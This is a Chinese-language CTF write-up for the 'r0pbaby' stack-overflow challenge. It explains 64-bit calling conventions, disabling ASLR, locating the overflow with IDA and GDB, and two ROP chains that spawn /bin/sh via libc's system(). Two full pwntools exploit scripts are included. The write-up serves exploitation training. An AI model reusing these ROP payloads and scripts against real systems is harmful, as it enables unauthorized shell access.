声明:本篇的作者 Moonshadow(CCSR小组重要成员之一)
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ./r0pbaby_542ee6516410709a1421141501f03760 <!--more--> Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 1 libc.so.6: 0x00007FF0352429B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007FF034A9DC40 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit :
目录 背景知识 64位CPU汇编代码参数传递方式 Linux系统下的64位程序传参约定如下: Windows系统下的64位程序传参约定如下: Linux系统(Ubuntu)关闭ASLR机制 查看ASLR当前状态命令: 关闭ASLR命令 漏洞分析 方式一: 代码分析法 方式二: 运行状态分析法 漏洞利用 Gadget 1: Gadget 2: 后记 参考资料 再次感谢Moonshadow@CCSR的友情分享 附件 ropbaby2.py ropbaby3.py
背景知识 64位CPU汇编代码参数传递方式 在32位CPU的函数调用过程中,由于寄存器个数较少,因此通常采用在栈中传参;而在64位CPU的函数调用过程中,通常采用寄存器方式传递参数,仅当参数较多时,采用函数栈中传递参数。
Linux系统下的64位程序传参约定如下: 1、当参数少于7个时,参数从左到右放入寄存器: RDI,RSI,RDX,RCX,R8,R9
2、当参数为7个及以上时, 前6个参数采用寄存器传参(同上),后面的参数依次从“右向左”放入栈中,即和32位汇编一样。
示例如下:
1 2 3 4 5 H(a, b, c, d, e, f, g, h); a-> %rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9h-> (%esp)g-> (%esp)call H
Windows系统下的64位程序传参约定如下: 1、当参数少于5个时, 参数从左到右放入寄存器: RCX,RDX,R8,R9
2、当参数为5个及以上时, 前4个参数采用寄存器传参(同上),后面的参数依次从 “右向左” 放入栈中,即和32位汇编一样(注,与Linux不同的事,在栈中仍为这4个参数预留了32个字节的空间)。
Linux/Windows系统下64位程序的函数返回值仍通过RAX传递。
Linux系统(Ubuntu)关闭ASLR机制 在调试程序的过程中,如果需要多次加载ELF或SO动态库,为了保证每次加载的基地址不变,可以临时关闭ASLR机制。
查看ASLR当前状态命令: 1 2 3 4 5 cat /proc/sys/kernel/randomize_va_space 返回结果的含义: 0 = 关闭ASLR 1 = 半随机:共享库、栈、mmap() 以及 VDSO 将被随机化 2 = 全随机。除了1中所述,还有heap也被随机化。
关闭ASLR命令 1 2 3 4 5 $ suPassword: ****** # echo 0 > /proc/sys/kernel/randomize_va_space # cat /proc/sys/kernel/randomize_va_space 0
漏洞分析 漏洞分析过程主要通过对目标程序的静态分析或动态执行,构造特定的输入触发漏洞,本题为一个典型的栈溢出漏洞。以下通过两种方法开展漏洞分析。
方式一: 代码分析法 尝试运行程序,在菜单中发现当选择3时,可触发溢出并使得程序崩溃,如下图所示:
使用IDA Pro对程序进行静态分析,当选择菜单3时,在代码.text:0000555555554E4E位置调用了memcpy()函数,经过分析这正是引发溢出的关键代码点,代码块如下:
动态调试ropbaby程序,确认当选择菜单3并输入>=8个字节时,则会覆盖main函数的返回地址,覆盖前后的代码对比如下:
方式二: 运行状态分析法 运行状态分析法通过观察程序崩溃时的程序状态(包括寄存器、堆栈、数据区等),分析哪些异常数据触发了溢出,为进一步构造漏洞利用代码提供帮助。
笔者采用安装了Peda的GDB进行调试(安装过程详见参考资料3 ),过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ gdb ropbaby…… gdb-peda$ pattern_create 50'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ runStarting program: /home/roy/ropbaby/ropbaby Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 50 AAA% AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. Program received signal SIGSEGV, Segmentation fault.
根据上表结果,当随机生成长度为50的字符串,并运行程序后,程序发生了崩溃,此时已触发异常,查看堆栈、RSP寄存器数据,结果如下:
上图显示,当代码执行到0x555555554eb3 ret时,函数返回,从rsp指针指向的栈顶地址中取出8个字节到rip寄存器继续执行,而此时栈顶数据为输入的字符串数据,显然返回地址已被覆盖,计算偏移量如下:
即返回地址在输入字符串的偏移量为8,这与方法一中的结果一致。
结论:方法一和方法二结果显示,当输入的数据大于8个字节时,即触发栈溢出。并且,覆盖返回地址的偏移量为8。
两种方式对比:方式一从汇编代码的角度剖析漏洞本质,更深入;方式二从程序运行状态监测溢出点,更快捷。
漏洞利用 该题向参赛者发布ELF文件ropbaby和libc-2.23.so,参赛者利用ropbaby的漏洞连接远端地址,并触发漏洞获得远程主机的shell后获得flag。因此,获得shell通常需要执行system(“/bin/sh”)命令,即溢出后使得RIP跳转到system函数并执行。
查询ropbaby的安全状态如下图所示,该程序启用了DEP,因此需要构建ROP片段执行代码。
笔者提供2中构建ROP Gadget的方法,分别如下:
Gadget 1: 栈空间的布局如下,当函数返回时,执行0x7fffffffdd68引用的gadget:
0x7fffffffdd60
AAAAAAAA填充8字节
0x7fffffffdd68
ROP Gadget,函数返回时执行 pop rax, pop rdi, call rax
0x7fffffffdd70
system函数地址
0x7fffffffdd78
/bin/sh 字符串地址
1. 查找ROP Gadget
使用ROPgadget工具查找代码片段(ROPgadget安装过程详见参考资料4),查询结果如下:
如上图所示,符合条件的Gadget在libc-2.23.so的偏移量为0x0000000000107419。
2. 查找system函数地址
使用objdump命令查找libc库的导出函数偏移地址,查询结果如下:
如上图所示,system函数在libc-2.23.so的偏移量为0x0000000000045390。
3. 查找/bin/sh字符串地址
使用strings命令查找libc.so库中该字符串的偏移地址,查询结果如下:
如上图所示,/bin/sh字符串在libc-2.23.so的偏移量为0x18cd57。
以上获得的3个地址,均为偏移地址,此时还需要获得libc库加载的基地址。从ropbaby提供的功能看,菜单选项1为获得libc基地址,如下:
分析代码中的菜单1选项的代码逻辑,可以看到:
程序在执行首先调用dlopen()函数动态加载libc.so.6库,并把返回的句柄handle写入[rbp+handle],当选择菜单1选项后,获得handle,并打印输出,逻辑如下:
可见菜单1返回的仅为libc库的调用句柄,而非libc加载的基地址。因此,若需获得libc加载的基地址,需要应用菜单2选项,获得system函数的虚拟地址,减去上文中获得的system函数的偏移量,即可获得libc函数的基地址。漏洞利用脚本的关键代码如下:
1 2 3 4 5 6 7 8 9 10 system_offset = 0x45390 bin_sh_offset = 0x18cd57 rop_gadget_offset = 0x107419 libc_base_addr = parse_addr(system_addr) - system_offset bin_sh_addr = libc_base_addr + bin_sh_offset rop_gadget_addr = libc_base_addr + rop_gadget_offset payload = 'A' *8 payload += p64(rop_gadget_addr) payload += p64(parse_addr(system_addr)) payload += p64(bin_sh_addr)
完整代码可见附件ropbaby2.py
Gadget 2: 栈空间的布局如下,当函数返回时,执行0x7fffffffdd68引用的gadget:
0x7fffffffdd60
AAAAAAAA填充8字节
0x7fffffffdd68
ROP Gadget,函数返回时执行 pop rdi, ret
0x7fffffffdd70
/bin/sh 字符串地址
0x7fffffffdd78
system函数地址
获取所需地址的方法详见Gadget 1 ,关键代码如下:
1 2 3 4 5 6 7 8 9 10 system_offset = 0x45390 bin_sh_offset = 0x18cd57 rop_gadget_offset = 0x21102 libc_base_addr = parse_addr(system_addr) - system_offset bin_sh_addr = libc_base_addr + bin_sh_offset rop_gadget_addr = libc_base_addr + rop_gadget_offset payload = 'A' *8 payload += p64(rop_gadget_addr) payload += p64(bin_sh_addr) payload += p64(parse_addr(system_addr))
完整代码可见附件ropbaby3.py
后记 本题为一个典型的栈溢出漏洞利用题目,由于程序开启了DEP,因此需要构建ROP Gadget进行利用。
参考资料 [1] 64位CPU汇编代码参数传递方式
http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
[2] Linux下关闭ALSR(地址空间随机化)的方法
https://blog.csdn.net/force_eagle/article/details/8024502
[3] GDB实用插件(peda, gef, gdbinit)全解
https://blog.csdn.net/gatieme/article/details/63254211
[4] ROPgadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
再次感谢Moonshadow@CCSR的友情分享 附件 ropbaby2.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *system_offset = 0x45390 bin_sh_offset = 0x18cd57 rop_gadget_offset = 0x107419 def parse_addr (buffer) : re_addr=re.compile(r"0x([0-9A-Z]{16,16})" ) addr_str=re_addr.findall(buffer) addr = 0x0 if addr_str != None : addr = int(addr_str[0 ], 16 ) return addr if __name__ == '__main__' : sh = process("/home/roy/ropbaby/ropbaby" ) sh.recvuntil(': ' ) sh.sendline("1" ) libcBaseAddr = sh.recvline() print(libcBaseAddr) sh.recvuntil(': ' ) sh.sendline("2" ) sh.recvuntil(": " ) sh.sendline("system" ) system_addr = sh.readline() print(system_addr) libc_base_addr = parse_addr(system_addr) - system_offset bin_sh_addr = libc_base_addr + bin_sh_offset rop_gadget_addr = libc_base_addr + rop_gadget_offset payload = 'A' *8 payload += p64(rop_gadget_addr) payload += p64(parse_addr(system_addr)) payload += p64(bin_sh_addr) sh.sendline("3" ) sh.recvuntil(": " ) sh.sendline("32" ) sh.sendline(payload) sh.recv() sh.interactive()
ropbaby3.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *system_offset = 0x45390 bin_sh_offset = 0x18cd57 rop_gadget_offset = 0x21102 def parse_addr (buffer) : re_addr=re.compile(r"0x([0-9A-Z]{16,16})" ) addr_str=re_addr.findall(buffer) addr = 0x0 if addr_str != None : addr = int(addr_str[0 ], 16 ) return addr if __name__ == '__main__' : sh = process("/home/roy/ropbaby/ropbaby" ) sh.recvuntil(': ' ) sh.sendline("1" ) libcBaseAddr = sh.recvline() print(libcBaseAddr) sh.recvuntil(': ' ) sh.sendline("2" ) sh.recvuntil(": " ) sh.sendline("system" ) system_addr = sh.readline() print(system_addr) libc_base_addr = parse_addr(system_addr) - system_offset bin_sh_addr = libc_base_addr + bin_sh_offset rop_gadget_addr = libc_base_addr + rop_gadget_offset payload = 'A' *8 payload += p64(rop_gadget_addr) payload += p64(bin_sh_addr) payload += p64(parse_addr(system_addr)) sh.sendline("3" ) sh.recvuntil(": " ) sh.sendline("32" ) sh.sendline(payload) sh.recv() sh.interactive()